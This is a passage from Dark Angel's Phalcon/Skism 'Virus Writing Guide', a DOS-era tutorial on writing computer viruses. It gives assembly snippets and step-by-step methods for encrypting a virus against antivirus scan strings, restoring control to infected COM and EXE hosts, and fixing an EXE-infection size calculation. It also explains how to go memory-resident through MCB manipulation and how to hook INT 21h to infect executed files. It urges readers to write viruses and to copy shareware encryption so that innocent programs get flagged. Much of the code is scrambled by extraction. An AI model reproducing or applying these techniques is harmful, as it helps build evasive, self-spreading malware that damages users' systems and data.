add bx, 2 loop xor_loop All the values denoted by 0FFFFh may be changed upon infection to values appropriate for the infected file. For example, BX should be loaded with the offset of part_to_encrypt_start relative to the start of the infected file when the encryption routine is written to the infected file. The primary advantage of the code used above is the minimisation of scan code length. The scan code can only consist of those portions of the code which remain constant. In this case, there are only three or four consecutive bytes which remain constant. Since the entire encryption consist of only about a dozen bytes, the size of the scan code is extremely tiny. Although the function of the encryption routine is clear, perhaps the initial encryption value and calculation of subsequent values is not as lucid. The initial value for most XOR encryptions should be 0. You should change the encryption value during the infection process. A random encryption value is desired. The simplest method of obtaining a random number is to consult to internal clock. A random number may be easily obtained with a simple: mov
ah, 2Ch
; Get me a random
int mov
21h word ptr [bp+encrypt_val], dx
; Can also use CX
number.
Some encryption functions do not facilitate an initial value of 0. For an example, take a look at Whale. It uses the value of the previous word as an encryption value. In these cases, simply use a JMP to skip past the decryption routine when coding the virus. However, make sure infections JMP to the right location! For example, this is how you would code such a virus: org start:
100h
jmp
past_encryption
; Insert your encryption routine here past_encryption: The encryption routine is the ONLY part of the virus which needs to be unencrypted. Through code-moving techniques, it is possible to copy the infection mechanism to the heap (memory location past the end of the file and before the stack). All that is required is a few MOVSW instructions and one JMP. First the encryption routine must be copied, then the writing, then the decryption, then the RETurn back to the program. For example: lea si, [bp+encryption_routine] lea di, [bp+heap] mov cx, encryption_routine_size push si push cx rep movsb lea si, [bp+writing_routine] mov cx, writing_routine_size rep movsb pop cx pop si rep movsb mov al, 0C3h stosb
; Tack on a near return
call [bp+heap] Although most virii, for simplicity's sake, use the same routine for both encryption and decryption, the above code shows this is completely unnecessary. The only modification of the above code for inclusion of a separate decryption routine is to take out the PUSHes and replace the POPs with the appropriate LEA si and MOV cx. Original encryption routines, while interesting, might not be the best. Stolen encryption routines are the best, especially those stolen from encrypted shareware programs! Sydex is notorious for using encryption in
their shareware programs. Take a look at a shareware program's puny encryption and feel free to copy it into your own. Hopefully, the antiviral developers will create a scan string which will detect infection by your virus in shareware products simply because the encryption is the same. Note that this is not a full treatment of concealment routines. A full text file could be written on encryption/decryption techniques alone. This is only the simplest of all possible encryption techniques and there are far more concealment techniques available. However, for the beginner, it should suffice. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ THE DISPATCHER ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The dispatcher is the back to the infected program. are, naturally, different.
portion of the virus which restores control The
dispatchers
for
EXE
and
COM
files
In COM files, you must restore the bytes which were overwritten by your virus and then transfer control back to CS:100h, which is where all COM files are initially loaded. RestoreCOM: mov di, 100h beginning lea si, [bp+savebuffer] buffer push di movsw movsb movsb retn
; We are copying to the ; We are copying from our ; Save offset for return (100h) ; Mo efficient than mov cx, 3, ; Alter to meet your needs ; A JMP will also work
EXE files require simply the restoration of the stack segment/pointer and the code segment/instruction pointer. ExeReturn: mov segment add add cli add mov
ax, es
; Start at PSP
ax, 10h ; Skip the PSP word ptr cs:[bp+ExeWhereToJump+2], ax ax, word ptr cs:[bp+StackSave+2] ; Restore the stack ss, ax
mov sti db
sp, word ptr cs:[bp+StackSave]
0eah SEG:OFF ExeWhereToJump: dd 0 StackSave: dd 0
; JMP FAR PTR
ExeWhereToJump2 dd 0 StackSave2 dd 0 Upon infection, the initial CS:IP and SS:SP should be stored in ExeWhereToJump2 and StackSave2, respectively. They should then be moved to ExeWhereToJump and StackSave before restoration of the program. This restoration may be easily accomplished with a series of MOVSW instructions. Some like to clear all the registers prior to the JMP/RET, i.e. they issue a bunch of XOR instructions. If you feel happy and wish to waste code space, you are welcome to do this, but it is unnecessary in most instances. ÄÄÄÄÄÄÄÄ THE BOMB ÄÄÄÄÄÄÄÄ "The horror! The horror!" - Joseph Conrad, The Heart of Darkness What goes through the mind of a lowly computer user when a virus activates? What terrors does the unsuspecting victim undergo as the computer suddenly plays a Nazi tune? How awful it must be to lose thousands of manhours of work in an instant! Actually, I do not support wanton destruction of data and disks by virii. It serves no purpose and usually shows little imagination. For example, the world-famous Michelangelo virus did nothing more than overwrite sectors of the drive with data taken at random from memory. How original. Yawn. Of course, if you are hell-bent on destruction, go ahead and destroy all you want, but just remember that this portion of the virus is usually the only part seen by "end-users" and distinguishes it from others. The best
examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt. Don't forget the PHALCON/SKISM line, especially those by me (I had to throw in a plug for the group)! As you can see, there's no code to speak of in this section. Since all bombs should be original, there isn't much point of putting in the code for one, now is there! Of course, some virii don't contain any bomb to speak of. Generally speaking, only those under about 500 bytes lack bombs. There is no advantage of not having a bomb other than size considerations. ÄÄÄÄÄÄÄÄÄ MEA CULPA ÄÄÄÄÄÄÄÄÄ I regret to inform you that the EXE infector presented in the last installment was not quite perfect. I admit it. I made a mistake of colossal proportions The calculation of the file size and file size mod 512 was screwed up. Here is the corrected version: ; On entry, DX:AX hold the NEW file size push
ax
; Save low word of
cl, 9 ax, cl dx, cl
; ; ; ;
filesize mov shr ror stc description
2^9 = 512 / 512 / 512 (sort of) Check EXE header
; for explanation of addition adc
dx, ax
; of 1 to the DIV 512
pop
ax
; Restore low word of
and
ah, 1
; MOD 512
portion filesize
This results in the file size / 512 + 1 in DX and the file size modulo 512 in AX. The rest remains the same. Test your EXE infection routine with Microsoft's LINK.EXE, since it won't run unless the EXE infection is perfect. I have saved you for this dumb error.
the trouble
and smacked myself upside the head
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TIPS AND TRICKS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ So now all the parts of the nonresident virus have been covered. Yet I find myself left with several more K to fill. So, I shall present several simple techniques anyone can incorporate into virii to improve efficiency. 1.
Use the heap The heap is the memory area between the end of code and the bottom of the stack. It can be conveniently treated as a data area by a virus. By moving variables to the heap, the virus need not keep variables in its code, thereby reducing its length. Note that since the contents heap are not part of the virus, only temporary variables should be kept there, i.e. the infection routine should not count the heap as part of the virus as that would defeat the entire purpose of its use. There are two ways of using the heap: ; First method EndOfVirus: Variable1 equ Variable2 equ Variable3 equ Variable4 equ
$ Variable1 + LengthOfVariable1 Variable2 + LengthOfVariable2 Variable3 + LengthOfVariable3
; Example of first method EndOfVirus: StartingDirectory TemporaryDTA FileSize Flag
= = = =
$ StartingDirectory + 64 TemporaryDTA + 42 FileSize + 4
; Second method EndOfVirus: Variable1 db Variable2 db Variable3 db Variable4 db
LengthOfVariable1 LengthOfVariable2 LengthOfVariable3 LengthOfVariable4
dup dup dup dup
; Example of second method EndOfVirus: StartingDirectory db 64 dup (?) TemporaryDTA db 42 dup (?) FileSize dd ? Flag db ?
(?) (?) (?) (?)
The two methods differ slightly. By using the first method, you create a file which will be the exact length of the virus (plus startup code). However, when referencing the variables, size specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always be used or the assembler will become befuddled. Secondly, if the variables need to be rearranged for some reason, the entire chain of EQUates will be destroyed and must be rebuilt. Virii coded with second method do not need size specifications, but the resulting file will be larger than the actual size of the virus. While this is not normally a problem, depending on the reinfection check, the virus may infect the original file when run. This is not a big disability, especially considering the advantages of this method. In any case, the use of the heap can greatly lessen the effective length of the virus code and thereby make it much more efficient. The only thing to watch out for is infecting large COM files where the heap will "wrap around" to offset 0 of the same segment, corrupting the PSP. However, this problem is easily avoided. When considering whether a COM file is too large to infect for this reason, simply add the temporary variable area size to the virus size for the purposes of the check. 2.
Use procedures Procedures are helpful in reducing the size of the virus, which is always a desired goal. Only use procedures if they save space. To determine the amount of bytes saved by the use of a procedure, use the following formula: Let PS = the procedure size, in bytes bytes saved = (PS - 4) * number invocations - PS For example, the close file procedure, close_file: mov ah, 3eh
; 2 bytes
int 21h ret
is only 1.
; 2 bytes ; 1 byte ; PS = 2+2+1 = 5 viable if
it is used 6 or more times, as (5-4)*6 - 5 =
A whopping savings of one (1) byte!
Since no virus closes a file
in six different places, the close useless and should be avoided.
file procedure
is clearly
Whenever possible, design the procedures to be as flexible as possible. This is the chief reason why Bulgarian coding is so tight. Just take a look at the source for Creeping Death. For example, the move file pointer procedure: go_eof: mov al, 2 move_fp: xor dx, dx go_somewhere: xor cx, cx mov ah, 42h int 21h ret The function was build with flexibility in mind. With a to go_eof, the procedure will move the file pointer to the end of the file. A CALL to move_fp with AL set to 0, the file pointer will be reset. A CALL to go_somewhere with DX and AL set, the file pointer may be moved anywhere within the file. If the function is used heavily, the savings could be enormous. CALL
3.
Use a good assembler and debugger The best assembler I have encountered to date is Turbo Assembler. It generates tight code extremely quickly. Use the /m2 option to eliminate all placeholder NOPs from the code. The advantages are obvious - faster development and smaller code. The best debugger is also made by Borland, the king of development tools. Turbo Debugger has so many features that you might just want to buy it so you can read the manual! It can bypass many debugger
traps with ease and is ideal for testing. Additionally, this debugger has 286 and 386 specific protected mode versions, each of which are even more powerful than their real mode counterparts. 4.
Don't use MOV instead of LEA When writing your first virus, you may often forget to use LEA instead of MOV when loading offsets. This is a serious mistake and is often made by beginning virus coders. The harmful effects of such a grevious error are immediately obvious. If the virus is not working, check for this bug. It's almost as hard to catch as a NULL pointer error in C. 5.
Read the latest issues of 40Hex 40Hex, PHALCON/SKISM's official journal of virus techniques and
news, is a publication not to be missed by any self-respecting virus writer. Each issue contains techniques and source code, designed to help all virus writers, be they beginners or experts. Virus-related news is also published. Get it, read it, love it, eat it! ÄÄÄÄÄÄ SO NOW ÄÄÄÄÄÄ you have all the code and information sufficient to write a viable virus, as well as a wealth of techniques to use. So stop reading and start writing! The only way to get better is through practise. After two or three tries, you should be well on your way to writing good virii.
//==// // // /|| // // // // //|| //==// //==// //=|| // // // // || // // // // ||
// // // // //====
//==== //==// //| // // // // //|| // // // // // || // // // // // ||// //==== //==// // ||/
/==== // // // /==== /| /| // // // // // //| //| ===\ // // // ===\ //|| //|| // // \\ // // // ||// || ====/ // \\ // ====/ // ||/ || ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DISCLAIMER: This file is 100% guaranteed to exist. The author makes no claims to the existence or nonexistence of the reader. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This space intentionally left blank. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GREETS: Welcome home, Hellraiser! Hello to the rest of the PHALCON/SKISM crew: Count Zero, Demogorgon, Garbageheap, as well as everyone else I failed to mention. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dark Angel's Clumpy Virus Writing Guide ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ "It's the cheesiest" - Kraft ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INSTALLMENT IV: RESIDENT VIRII, PART I ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now that the topic of nonresident virii has been addressed, this series now turns to memory resident virii. This installment covers the theory behind this type of virus, although no code will be presented. With this knowledge in hand, you can boldly write memory resident virii confident that you are not fucking up too badly. ÄÄÄÄÄÄÄÄÄÄ INTERRUPTS ÄÄÄÄÄÄÄÄÄÄ DOS kindly provides us with a powerful method of enhancing itself, namely memory resident programs. Memory resident programs allow for the extention and alteration of the normal functioning of DOS. To understand how memory resident programs work, it is necessary to delve into the intricacies of
the interrupt table. The interrupt table is located from memory location 0000:0000 to 0000:0400h (or 0040:0000), just below the BIOS information area. It consists of 256 double words, each representing a segment:offset pair. When an interrupt call is issued via an INT instruction, two things occur, in this order: 1) The flags are pushed onto the stack. 2) A far call is issued to the segment:offset located in the interrupt table. To return from an interrupt, an iret instruction is used. The iret instruction reverses the order of the int call. It performs a retf followed by a popf. This call/return procedure has an interesting sideeffect when considering interrupt handlers which return values in the flags register. Such handlers must directly manipulate the flags register saved in the stack rather than simply directly manipulating the register. The processor searches the interrupt table for the location to call. For example, when an interrupt 21h is called, the processor searches the interrupt table to find the address of the interrupt 21h handler. The segment of this pointer is 0000h and the offset is 21h*4, or 84h. In other words, the interrupt table is simply a consecutive chain of 256 pointers to interrupts, ranging from interrupt 0 to interrupt 255. To find a specific interrupt handler, load in a double word segment:offset pair from segment 0, offset (interrupt number)*4. The interrupt table is stored in standard Intel reverse double word format, i.e. the offset is stored first, followed by the segment. For a program to "capture" an interrupt, that is, redirect the interrupt, it must change the data in the interrupt table. This can be accomplished either by direct manipulation of the table or by a call to the appropriate DOS function. If the program manipulates the table directly, it should put
this code between a CLI/STI pair, as issuing an interrupt by the processor while the table is half-altered could have dire consequences. Generally, direct manipulation is the preferable alternative, since some primitive programs such as FluShot+ trap the interrupt 21h call used to set the interrupt and will warn the user if any "unauthorised" programs try to change the handler. An interrupt handler is a piece of code which is executed when an interrupt is requested. The interrupt may either be requested by a program or may be requested by the processor. Interrupt 21h is an example of the former, while interrupt 8h is an example of the latter. The system BIOS supplies a portion of the interrupt handlers, with DOS and other programs supplying the rest. Generally, BIOS interrupts range from 0h to 1Fh, DOS interrupts range from 20h to 2Fh, and the rest is available for use by programs. When a program wishes to install its own code, it must consider several factors. First of all, is it supplanting or overlaying existing code, that is to say, is there already an interrupt handler present? Secondly, does the program wish to preserve the functioning of the old interrupt handler? For example, a program which "hooks" into the BIOS clock tick interrupt would definitely wish to preserve the old interrupt handler. Ignoring the presence of the old interrupt handler could lead to disastrous results, especially if previously-loaded resident programs captured the interrupt. A technique used in many interrupt handlers is called "chaining." With chaining, both the new and the old interrupt handlers are executed. There are two primary methods for chaining: preexecution and postexecution. With preexecution chaining, the old interrupt handler is called before the new one. This is accomplished via a pseudo-INT call consisting of a pushf followed by a call far ptr. The new interrupt handler is passed control when the old one terminates. Preexecution chaining is used when the new
interrupt handler wishes to use the results of the old interrupt handler in deciding the appropriate action to take. Postexecution chaining is more straightforward, simply consisting of a jmp far ptr instruction. This method doesn't even require an iret instruction to be located in the new interrupt handler! When the jmp is executed, the new interrupt handler has completed its actions and control is passed to the old interrupt handler. This method is used primarily when a program wishes to intercept the interrupt call before DOS or BIOS gets a chance to process it. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ AN INTRODUCTION TO DOS MEMORY ALLOCATION ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Memory allocation is perhaps one of the most difficult concepts, certainly the hardest to implement, in DOS. The problem lies in the lack of official documentation by both Microsoft and IBM. Unfortunately, knowledge of the DOS memory manager is crucial in writing memory-resident virii. When a program asks DOS for more memory, the operating system carves out a chunk of memory from the pool of unallocated memory. Although this concept is simple enough to understand, it is necessary to delve deeper in order to have sufficient knowledge to write effective memory-resident virii. DOS creates memory control blocks (MCBs) to help itself keep track of these chunks of memory. MCBs are paragraph-sized areas of memory which are each devoted to keeping track of one particular area of allocated memory. When a program requests memory, one paragraph for the MCB is allocated in addition to the memory requested by the program. The MCB lies just in front of the memory it controls. Visually, a MCB and its memory looks like: ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ MCB 1 ³ Chunk o' memory controlled by MCB 1 ³ ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ When a second section of memory is requested, another MCB is created just above the memory last allocated. Visually:
ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿ ³ MCB 1 ³ Chunk 1 ³ MCB 2 ³ Chunk 2 ³ ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ In other words, the MCBs are "stacked" one on top of the other. It is wasteful to deallocate MCB 1 before MCB 2, as holes in memory develop. The structure for the MCB is as follows: Offset Size Meaning ÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ 0 BYTE 'M' or 'Z' 1 WORD Process ID (PSP of block's owner) 3 WORD Size in paragraphs 5 3 BYTES Reserved (Unused) 8 8 BYTES DOS 4+ uses this. Yay. If the byte at offset 0 is 'M', then the MCB is not the end of the chain. The 'Z' denotes the end of the MCB chain. There can be more than one MCB chain present in memory at once and this "feature" is used by virii to go resident in high memory. The word at offset 1 is normally equal to the PSP of the MCB's owner. If it is 0, it means that the block is free and is available for use by programs. A value of 0008h in this field denotes DOS as the owner of the block. The value at offset 3 does NOT include the paragraph allocated for the MCB. It reflects the value passed to the DOS allocation functions. All fields located after the block size are pretty useless so you might as well ignore them. When a COM file is loaded, all available memory is allocated to it by DOS. When an EXE file is loaded, the amount of memory specified in the EXE header is allocated. There is both a minimum and maximum value in the header. Usually, the linker will set the maximum value to FFFFh paragraphs. If the program wishes to allocate memory, it must first shrink the main chunk of memory owned by the program to the minimum required. Otherwise, the pathetic attempt at memory allocation will fail miserably. Since programs normally are not supposed to manipulate MCBs directly, the DOS memory manager calls (48h - 4Ah) all return and accept values of the
first program-usable memory paragraph, that is, the paragraph memory immediately after the MCB. It is important to keep this in mind when writing MCB-manipulating code.
of
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ METHODS OF GOING RESIDENT ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are a variety of memory resident strategies. The first is the use of the traditional DOS interrupt TSR routines, either INT 27h or INT 21h/Function 31h. These routines are undesirable when writing virii, because they do not return control back to the program after execution. Additionally, they show up on "memory walkers" such as PMAP and MAPMEM. Even a doorknob can spot such a blatant viral presence. The traditional viral alternative to using the standard DOS interrupt is, of course, writing a new residency routine. Almost every modern virus uses a routine to "load high," that is, to load itself into the highest possible memory location. For example, in a 640K system, the virus would load itself just under the 640K but above the area reserved by DOS for program use. Although this is technically not the high memory area, it shall be referred to as such in the remainder of this file in order to add confusion and general chaos into this otherwise well-behaved file. Loading high can be easily accomplished through a series of interrupt calls for reallocation and allocation. The general method is: 1. Find the memory size 2. Shrink the program's memory to the total memory size - virus size 3. Allocate memory for the virus (this will be in the high memory area) 4. Change the program's MCB to the end of the chain (Mark it with 'Z') 5. Copy the virus to high memory 6. Save the old interrupt vectors if the virus wishes to chain vectors 7. Set the interrupt vectors to the appropriate locations in high memory When calculating paragraphs.
memory sizes,
remember that all sizes are in
The MCB must also be considered, as it takes up one paragraph of memory. The advantage of this method is that it does not, as a rule, show up on memory walkers. However, the total system memory as shown by such programs as CHKDSK will decrease. A third alternative is no allocation at all. Some virii copy themselves to the memory just under 640K, but fail to allocate the memory. This can have disastrous consequences, as any program loaded by DOS can possibly use this memory. If it is corrupted, unpredictable results can occur. Although no memory loss is shown by CHKDSK, the possible chaos resulting from this method is clearly unacceptable. Some virii use memory known to be free. For example, the top of the interrupt table or parts of video memory all may be used with some assurance that the memory will not be corrupted. Once again, this technique is undesirable as it is extremely unstable. These techniques are by no means the only methods of residency. I have seen such bizarre methods as going resident in the DOS internal disk buffers. Where there's memory, there's a way. It is often desirable to know if the virus is already resident. The simplest method of doing this is to write a checking function in the interrupt handler code. For example, a call to interrupt 21h with the ax register set to 7823h might return a 4323h value in ax, signifying residency. When using this check, it is important to ensure that no possible conflicts with either other programs or DOS itself will occur. Another method, albeit a costly process in terms of both time and code length, is to check each segment in memory for the code indicating the presence of the virus. This method is, of course, undesirable, since it is far, far simpler to code a simple check via the interrupt handler. By using any type of check, the virus need not fear going resident twice, which would simply be a waste of memory.
ÄÄÄÄÄÄÄÄÄÄÄÄÄ WHY RESIDENT? ÄÄÄÄÄÄÄÄÄÄÄÄÄ Memory resident virii have several distinct advantages over runtime virii. o Size Memory resident virii are often smaller than their runtime brethern as they do not need to include code to search for files to infect. o Effectiveness They are often more virulent, since even the DIR command can be "infected." Generally, the standard technique is to infect each file that is executed while the virus is resident. o Speed Runtime virii infect before a file is executed. A poorly written or large runtime virus will cause a noticible delay before execution easily spotted by users. Additionally, it causes inordinate disk activity which is detrimental to the lifespan of the virus. o Stealth The manipulation of interrupts allows for the implementation of stealth techniques, such as the hiding of changes in file lengths in directory listings and on-the-fly disinfection. Thus it is harder for the average user to detect the virus. Additionally, the crafty virus may even hide from CRC checks, thereby obliterating yet another antivirus detection technique. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ STRUCTURE OF THE RESIDENT VIRUS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ With the preliminary information out of the way, the discussion can now shift to more virus-related, certainly more interesting topics. The structure of the memory resident virus is radically different from that of the runtime virus. It simply consists of a short stub used to determine if the virus is already resident. If it is not already in memory, the stuf loads it into memory through whichever method. Finally, the stub restores control to the host program. The rest of the code of the resident virus consists of interrupt handlers where the bulk of the work is done. The stub offset
is the only portion of the virus which needs to have delta
calculations. The interrupt handler ideally will exist at a location which will not require such mundane fixups. Once loaded, there should be no further use of the delta offset, as the location of the variables is preset. Since the resident virus code should originate at offset 0 of the memory block, originate the source code at offset 0. Do not include a jmp to the virus code in the original carrier file. When moving the virus to memory, simply move starting from [bp+startvirus] and the offsets should work out as they are in the source file. This simplifies (and shortens) the coding of the interrupt handlers. Several things must be considered in writing the interrupt handlers for a virus. First, the virus must preserve the registers. If the virus uses preexecution chaining, it must save the registers after the call to the original handler. If the virus uses postexecution chaining, it must restore the original registers of the interrupt call before the call to the original handler. Second, it is more difficult, though not impossible, to implement encryption with memory resident virii. The problem is that if the interrupt handler is encrypted, that interrupt handler cannot be called before the decryption function. This can be a major pain in the ass. The cheesy way out is to simply not include encryption. I prefer the cheesy way. The noncheesy readers out there might wish to have the memory simultaneously hold two copies of the virus, encrypt the unused copy, and use the encrypted copy as the write buffer. Of course, the virus would then take twice the amount of memory it would normally require. The use of encryption is a matter of personal choice and cheesiness. A sidebar to preservation of interrupt handlers: As noted earlier, the flags register is restored from the stack. It is important in preexecution chaining to save the new flags register onto the stack where the old flags register was stored.
Another important factor to consider when writing interrupt handlers, especially those of BIOS interrupts, is DOS's lack of reentrance. This means that DOS functions cannot be executed while DOS is in the midst of processing an interrupt request. This is because DOS sets up the same stack pointer each time it is called, and calling the second DOS interrupt will cause the processing of one to overwrite the stack of the other, causing unpredictable, but often terminal, results. This applies regardless of which DOS interrupts are called, but it is especially true for interrupt 21h, since it is often tempting to use it from within an interrupt handler. Unless it is certain that DOS is not processing a previous request, do NOT use a DOS function in the interrupt handler. It is possible to use the "lower" interrupt 21h functions without fear of corrupting the stack, but they are basically the useless ones, performing functions easily handled by BIOS calls or direct hardware access. This entire discussion only applies to hooking non-DOS interrupts. With hooking DOS interrupts comes the assurance that DOS is not executing elsewhere, since it would then be corrupting its own stack, which would be a most unfortunate occurence indeed. The most common interrupt to hook is, naturally, interrupt 21h. Interrupt 21h is called by just about every DOS program. The usual strategy is for a virus to find potential files to infect by intercepting certain DOS calls. The primary functions to hook include the find first, find next, open, and execute commands. By cleverly using pre and postexecution chaining, a virus can easily find the file which was found, opened, or executed and infect it. The trick is simply finding the appropriate method to isolate the filename. Once that is done, the rest is essentially identical to the runtime virus. When calling code,
interrupts hooked by the virus from the virus interrupt
make sure that the virus does not trap this particular call, lest an infinite loop result. For example, if the execute function is trapped and the virus wishes, for some reason, to execute a particular file using this function, it should NOT use a simple "int 21h" to do the job. cases such as this where the problem is unavoidable, simply simulate the interrupt call with a pushf/call combination.
In
The basic structure of the interrupt handler is quite simple. The handler first screens the registers for either an identification call or for a trapped function such as execute. If it is not one of the above, the handler throws control back to the original interrupt handler. If it is an identification request, the handler simply sets the appropriate registers and returns to the calling program. Otherwise, the virus must decide if the request calls for pre or postexecution chaining. Regardless of which it uses, the virus must find the filename and use that information to infect. The filename may be found either through the use of registers as pointers or by searching thorugh certain data structures, such as FCBs. The infection routine is the same as that of nonresident virii, with the exception of the guidelines outlined in the previous few paragraphs. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ WHAT'S TO COME ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I apologise for the somewhat cryptic sentences used in the guide, but I'm a programmer, not a writer. My only suggestion is to read everything over until it makes sense. I decided to pack this issue of the guide with theory rather than code. In the next installment, I will present all the code necessary to write a memory-resident virus, along with some techniques which may be used. However, all the information needed to write a resident virii has been included in this installment; it is merely a matter of implementation. Have buckets o' fun!
//==// // // /|| // // // // //|| //==// //==// //=|| // // // // || // // // // ||
// // // // //====
//==== //==// //| // // // // //|| // // // // // || // // // // // ||// //==== //==// // ||/
/==== // // // /==== /| /| // // // // // //| //| ===\ // // // ===\ //|| //|| // // \\ // // // ||// || ====/ // \\ // ====/ // ||/ || ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DISCLAIMER: Why do I bother writing one?? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MO STUFF: Greets to all the Phalcon/Skism crew,especially Garbageheap,Hellraiser, Demogorgon,Lazarus Long,and Decimator. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dark Angel's Chewy Virus Writing Guide ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ "Over 2 billion served" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INSTALLMENT V: RESIDENT VIRUSES, PART II ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ After reading the the Clumpy Guide, you should have at least some idea of how to code a resident virus. However, the somewhat vague descriptions I gave may have left you in a befuddled state. Hopefully, this installment will clear the air. ÄÄÄÄÄÄÄÄÄ STRUCTURE ÄÄÄÄÄÄÄÄÄ In case you missed it the last time, here is a quick, general overview of the structure of the resident virus. The virus consists of two major portions, the loading stub and the interrupt handlers. The loading stub performs two functions. First, it redirects interrupts to the virus code. Second, it causes the virus to go resident. The interrupt handlers contain the code which cause file infection. Generally, the handlers trap interrupt 21h and intercept such calls as file execution. ÄÄÄÄÄÄÄÄÄÄÄÄ
LOADING STUB ÄÄÄÄÄÄÄÄÄÄÄÄ The loading stub consists of two major portions, the residency routine and the restoration routine. The latter portion, which handles the return of control to the original file, is identical as the one in the nonresident virus. I will briefly touch upon it here. By now you should understand thoroughly the theory behind COM file infection. By simply replacing the first few bytes, transfer can be controlled to the virus. The trick in restoring COM files is simply to restore the overwritten bytes at the beginning of the file. This restoration takes place only in memory and is therefore far from permanent. Since COM files always load in a single memory segment and begin loading at offset 100h in the memory segment (to make room for the PSP), the restoration procedure is very simple. For example, if the first three bytes of a COM file were stored in a buffer called "first3" before being overwritten by the virus, then the following code would restore the code in memory: mov lea
di,100h si,[bp+first3]
movsw flag movsb
; ; ; ;
Absolute location of destination Load address of saved bytes. Assume bp = "delta offset" Assume CS = DS = ES and a cleared direction
; Move three bytes
The problem of returning control to the program still remains. This simply consists of forcing the program to transfer control to offset 100h. The easiest routine follows: mov jmp
di,100h di
There are numerous variations of this routine, but they all accomplish the basic task of setting the ip to 100h. You should also understand the concept behind EXE infection by now. EXE infection, at its most basic level, consists of changing certain bytes in
the EXE header. The trick is simply which the virus made. The code follows: mov add add
to undo
all the changes
ax, es ; ES = segment of PSP ax, 10h ; Loading starts after PSP word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was ; relative to end of PSP
cli add mov mov sti db OrigCSIP header OrigSSSP
ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well ss, ax sp, word ptr cs:[bp+OrigSSSP] 0eah dd ?
; JMP FAR PTR SEG:OFF ; Put values from the
dd ?
; into here
If the virus is an EXE-specific infector but you still wish to use a COM file as the carrier file, then simply set the OrigCSIP value to FFF0:0000. This will be changed by the restoration routine to PSP:0000 which is, conveniently, an int 20h instruction. All that stuff should not be new. Now we shall tread on new territory. There are two methods of residency. The first is the weenie method which simply consists of using DOS interrupts to do the job for you. This method sucks because it is 1) easily trappable by even the most primitive of resident virus monitors and 2) forces the program to terminate execution, thereby alerting the user to the presence of the virus. I will not even present code for the weenie method because, as the name suggests, it is only for weenies. Real programmers write their own residency routines. This basically consists of MCB-manipulation. The general method is: 1. virus. 2. 3. 4. 5.
Check for prior installation. Find the Allocate Copy the Swap the
If already installed, exit the
top of memory. the high memory. virus to high memory. interrupt vectors.
There are several variations discussed as the need arises. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INSTALLATION CHECK
on this technique and they will be
